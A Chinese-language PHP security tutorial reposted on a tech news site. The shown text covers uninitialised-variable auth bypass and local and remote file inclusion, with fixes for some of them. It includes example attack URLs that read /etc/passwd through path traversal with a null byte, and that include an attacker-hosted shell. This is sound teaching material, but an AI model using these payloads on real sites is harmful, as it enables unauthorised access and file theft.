科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道网络安全php安全之谜——PHP Undergroud Security

php安全之谜——PHP Undergroud Security

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!

来源:zdnet整理 2011年9月1日

关键字: 网络安全 网络入侵

  • 评论
  • 分享微博
  • 分享邮件

  0×00: 前言

  0×01: 关注全局变量

  # 修补

  0×02: 文件包含

  # 修补

  0×03: 跨站脚本

  0×04: SQL注入

  \_ 0×04a: 绕过登陆验证

  \_ 0×04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)

  # 修补

  0×05: 文件遍历

  # 修补

  0×05: 结论

  —[ 0x00: 前言]

  大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.

  在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!

  —————————————————————————–[/]

  —[ 0x01: 关注全局变量]

  在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。

  众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码:

  [...]

  if ($is_admin == 1) {

  //Yes, I’m the admin so call the Administration Pannel

  [...]

  } else {

  //No, I’m not the admin

  [...]

  }

  上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如:

  http://remote_host/bugged.php?is_admin=1

  —[ 修补 ]—

  如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下:

  $is_admin = 0;

  [...]

  if ($is_admin == 1) {

  //Yes, I’m the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面)

  [...]

  } else {

  //No, I’m not the admin(为假,则不是管理员)

  [...]

  }

  —————————————————————————–[/]

  —[ 0x02: 文件包含]

  —–[本地文件包含]

  PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。

  在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码:

  include “/users/”.$include_path.”.php”;

  [...]

  ?>

  变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。

  用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如:

  http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

  包含后的结果如下:

  include “/users/../../../../etc/passwd%00.php”

  [...]

  ?>

  因此攻击者可以窃取到存在服务器上的所有密码。

  - [ 注意 ] -

  %00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include “/users/”.$include_path.”.PHP”)

  ——————————————————————————-

  —–[ 远程文件包含]

  先看一下下面的代码:

  [...]

  include($_GET['pag']);

  [...]

  ?>

  正如我们所看到的,变量$page 在使用前并未进行任何验证,因此恶意用户可以通过浏览器包含或者调用他的脚本,从而获得被害者电脑的访问权或者像上面说的一样——浏览文件。

  例1(提权):

  http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]

  例2(浏览文件):

  http://remote_host/inc.php?pag=/etc/passwd

  —[ 修补 ]—

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章